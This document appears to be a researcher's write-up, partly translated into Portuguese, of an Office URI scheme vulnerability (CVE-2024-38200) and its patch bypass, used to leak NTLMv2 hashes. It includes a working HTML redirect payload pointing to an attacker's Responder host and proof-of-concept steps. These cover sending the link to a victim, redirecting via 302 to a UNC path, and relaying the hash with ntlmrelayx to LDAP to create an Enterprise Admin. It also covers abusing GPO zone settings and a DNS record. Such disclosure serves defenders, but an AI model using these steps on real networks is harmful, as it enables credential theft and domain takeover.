CVE-2024-38200

After The Patch

Capturing the NTLMv2 hash over HTTP method was not fixed. The NTLMv2 hash value can still be obtained over HTTP and relayed to LDAP or ADCS. MSRC afirmou que esta situação é "como apresentado, parece fazer parte do design atual."
Mesmo que esta vulnerabilidade seja corrigida, conforme declarado na secção Integrated Windows Authentication, o valor do hash ainda pode ser obtido e retransmitido com as configurações padrão.

Office URI Schemes

Anteriormente, um método para capturar hashes NTLMv2 sobre SMB usando os Esquemas de URI do Office foi partilhado. A ideia principal era simples. Enviar o URL do ficheiro HTML abaixo para a vítima e capturar o hash NTLMv2 sobre SMB. LINK

<!DOCTYPE html>
<html>
	<script>
		location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
	</script>
</html>

Este é o ponto inspirador para mim. Se consultarmos a página Office URI Schemes, podemos ver a utilização do protocolo https:// dentro do esquema URI. Esta situação indica que http:// também pode potencialmente ser usado. Capturar o hash NTLMv2 sobre HTTP é mais vantajoso do que capturá-lo sobre SMB para realizar um ataque de NTLM Relaying contra um servidor Domain Controller Relaying Chart.
Quando usei o URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contra o Office 2016 MSO (16.0.4266.1001) 32-bit, apareceu uma caixa de aviso para proteger o utilizador de atividade maliciosa, mas não posso dizer o mesmo para o Microsoft 365 Office e Office 2019. Estas versões acedem a um ficheiro Office remoto sem aviso e podem ser exploradas para capturar o hash NTLMv2 sobre os protocolos SMB e HTTP.

Detalhes da Vulnerabilidade

Descobri que a correção para CVE-2024-38200 não foi aplicada corretamente. Após a publicação da correção, testei a vulnerabilidade contra o Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) e o Microsoft 365 MSO 2408 Build 16.0.17928.20114 e determinei que a vulnerabilidade ainda pode ser explorada conforme mostrado abaixo CVE-2024-43609 .
Podemos redirecionar um pedido HTTP para um caminho UNC com redirecionamento 302 quando uma aplicação Office faz um pedido através dos esquemas URI do Office (ex., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) . O script uncredirect.py trata o pedido HTTP que é enviado com um esquema URI do MS Office e redireciona-o para um caminho UNC que inclui o endereço IP do Responder. Esta situação tornaria possível capturar o hash NTLMv2 sobre SMB e contornar a restrição de segurança para o URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.

Prova de Conceito

1. Inicie o uncredirect.py e o responder.
2. Envie o URL do ficheiro office.html para o utilizador vítima.

https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04

Capturando o hash NTLMv2 sobre HTTP

Capturar o hash NTLMv2 sobre HTTP é mais vantajoso do que sobre SMB para retransmitir para LDAP. Quando um ficheiro é solicitado através de um URI do Office, o hash NTLMv2 pode ser obtido sobre HTTP sem redirecionar para um caminho UNC usando um redirecionamento 302. Este método de exploração não pode ser realizado pela Internet porque, a menos que haja uma configuração incorreta nas Propriedades de Internet, a autenticação NTLM não ocorrerá sobre HTTP para um host fora da rede corporativa.
No entanto, acredito que este seja um método eficaz para ataque de retransmissão e escalada de privilégios.

Configuração Incorreta com GPO nas Propriedades de Internet

As configurações das "Propriedades de Internet" afetam o comportamento de autenticação NTLM das aplicações Office. Podemos ver isso com alguns exemplos. Suponhamos que estamos a usar o formato de URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx para capturar o hash NTLMv2.
Quando uma das GPOs listadas abaixo é aplicada a uma máquina vítima que está associada ao domínio, a aplicação Office realiza a autenticação automaticamente.

1. Automatic logon with current user name and password está definido para User Authentication na Internet Zone
2. Uma sub-rede ou intervalo de endereços IP é adicionado aos sites de Local Intranet (ex., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)
3. Uma sub-rede ou intervalo de endereços IP é adicionado a Trusted sites (ex., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) e Automatic logon with current user name and password está definido para User Authentication na zona Trusted Sites

No caso de uma das GPOs mencionadas acima ser aplicada, depois de o utilizador vítima clicar no URI, o ficheiro leak.docx será obtido pela aplicação Office a partir do servidor do atacante e o hash NTLMv2 será obtido porque a GPO aplicada faz com que a autenticação NTLM ocorra automaticamente.

Exemplo de Cenário para Abusar da GPO:
Depois de definir o URI do Office com o endereço IP (ex., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), podemos enviar o URL do office.html para um utilizador com privilégios de administrador de domínio e retransmitir o hash capturado para o servidor LDAP(S) usando o ntlmrelayx. O ntlmrelayx criará um novo utilizador e adicioná-lo-á ao grupo Enterprise Admins com apenas um clique no botão "Open".

Nota:
Os sites adicionados via GPO podem ser listados usando as seguintes chaves de registo.

Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"

0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites

Prova de Conceito

Se uma das GPOs mencionadas acima não for aplicada, a autenticação NTLM não ocorrerá automaticamente. No entanto, se adicionarmos um registo DNS A e usarmos este registo dentro do URI do Office, o Windows considerará o nome do host como parte da Zona de Intranet. Desta forma, a autenticação NTLMv2 ocorre automaticamente e um utilizador padrão pode escalar privilégios sem precisar de uma GPO mal configurada. Qualquer utilizador de domínio com privilégios padrão pode adicionar um registo DNS inexistente portanto, este ataque funciona com configurações padrão para um utilizador de domínio.

1. Adicione um registo DNS para resolver o nome do host para o endereço IP do atacante que executa o ntlmrelayx. Demora aproximadamente 5 minutos para o registo criado começar a resolver.

2. O ficheiro office.html pode ser servido a partir de qualquer servidor acessível ao utilizador vítima (ex., https://office.com/office.html). Defini a porta 8081 para o Apache porque o ntlmrelayx usará a porta 80 por defeito. Podemos usar --http-port com o ntlmrelayx como outra opção. Insira o registo adicionado no URI do Office dentro do ficheiro office.html.